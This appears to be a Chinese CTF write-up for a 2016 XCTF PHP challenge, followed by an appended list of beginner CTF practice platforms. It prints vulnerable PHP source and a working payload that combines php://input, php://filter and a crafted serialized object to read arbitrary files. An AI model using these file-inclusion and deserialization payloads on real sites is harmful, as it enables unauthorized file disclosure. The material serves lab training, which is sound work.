2016xctf一道ctf题目

本文介绍了一个关于PHP封装协议与本地文件包含(LFI)漏洞的安全挑战案例。通过利用PHP的特殊封装协议,成功绕过了权限检查,并进一步利用反序列化特性获取了隐藏的标志文件内容。

首先是index.php:

<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    echo "hello admin!<br>";
    if(preg_match("/f1a9/",$file)){
        exit();
    }else{
        include($file); //class.php
        $pass = unserialize($pass);
        echo $pass;
    }
}else{
    echo "you are not admin ! ";
}

?>

<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}
 -->

然后是class.php


<?php

class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
?>

最后是f1a9.php

<?php
//flag_Xd{hSh_ctf:e@syt0g3t}
?>

解析:
这个题目考察的是php封装协议和lfi
这个题目首先要突破的是:
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin"))
如何让file_get_contents($user,'r')==="the user is admin"呢?
答案是用php的封装协议php://input,因为php://input可以得到原始的post数据:


所以这样就可以绕过第一个限制

然后我到了:include($file); //class.php 这一步

这个很明显是暗示你去读取class.php
如何读呢?这里用到php的另一个封装协议:php://filter
利用这个协议就可以读取任意文件了
利用方法:php://filter/convert.base64-encode/resource=index.php
这里把读取到的index.php的内容转换为base64的格式
于是:


这样就得到class.php的内容,但是我们这样可以直接读取flag文件吗? 答案是不能,因为:
if(preg_match("/f1a9/",$file)){
exit();

但是class.php把我们引入到另一个地方,就是利用反序列化来读取flag文件
于是我们构造反序列化的参数:
O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}
这里也是利用php://filter来读取flag文件

最后我的payload就是:
http://localhost:8000/?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}



CTF(夺旗赛)的入门练习中,选择合适的平台和题目对于初学者来说至关重要。以下是一些推荐的资源和平台,适合初学者进行练习和提升。 ### 推荐平台 - **CTFHub** 提供了一个清晰的技能树,这对于刚开始接触CTF的新手来说非常有用。它不仅提供了题目练习,还帮助构建了一个学习路径[^1]。 - **PwnTheBox** 同样是一个适合新手的平台,其特点在于大多数题目都有详细的Write-Up(WP),这意味着学习者可以在尝试解决问题后查看正确的方法,从而加深理解[^1]。 - **idf实验室** 提供了非常基础的题目,非常适合刚开始学习CTF的人[^2]。 - **XCTF OJ** 是一个包含历年比赛题目的网站,虽然难度较高,但对于希望挑战更高水平的学习者来说是个不错的选择。 - **WeChall** 和 **CanYouHack.It** 都是国外的入门级CTF题库网站,其中WeChall拥有大量的题目,而CanYouHack.It则涵盖了移动安全方面的内容。 - **Microcorruption** 是一个密码和逆向工程的酷炫游戏化学习平台。 - **SmashTheStack** 和 **OverTheWire** 提供了简洁的Wargames形式,适合通过实践来学习网络安全知识[^2]。 - **Exploit-Exercises** 也是一个老牌的Wargame平台,拥有丰富的国内资料支持。 - **Pawnable.kr** 是一个专注于Pwn类题目的游乐场,拥有大约100道题目。 - **MoonsOS CTF** 提供了Web漏洞靶场,适合学习Web安全的核心知识点[^2]。 - **Prompt.ml** 和 **RedTiger Labs** 分别提供了XSS测试和SQL注入挑战,适合专项练习[^2]。 ### 使用Docker搭建CTF题目 对于想要自己搭建CTF题目的学习者来说,可以考虑使用Docker来创建一个简易的Web服务器环境。例如,可以使用`lamp`镜像(L代表Linux,A代表Apache,M代表MySQL,而P代表PHP)。通过执行`docker search lamp`命令,可以找到多种LAMP镜像,推荐使用`tutum/lamp`镜像[^3]。 ### 示例代码 如果你打算使用Docker来启动一个LAMP服务,下面是一个简单的示例命令: ```bash docker run -d -p 80:80 -p 3306:3306 tutum/lamp ``` 这个命令将会下载`tutum/lamp`镜像,并以后台模式运行一个容器,映射主机的80端口和3306端口到容器中相应的服务。 ###
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值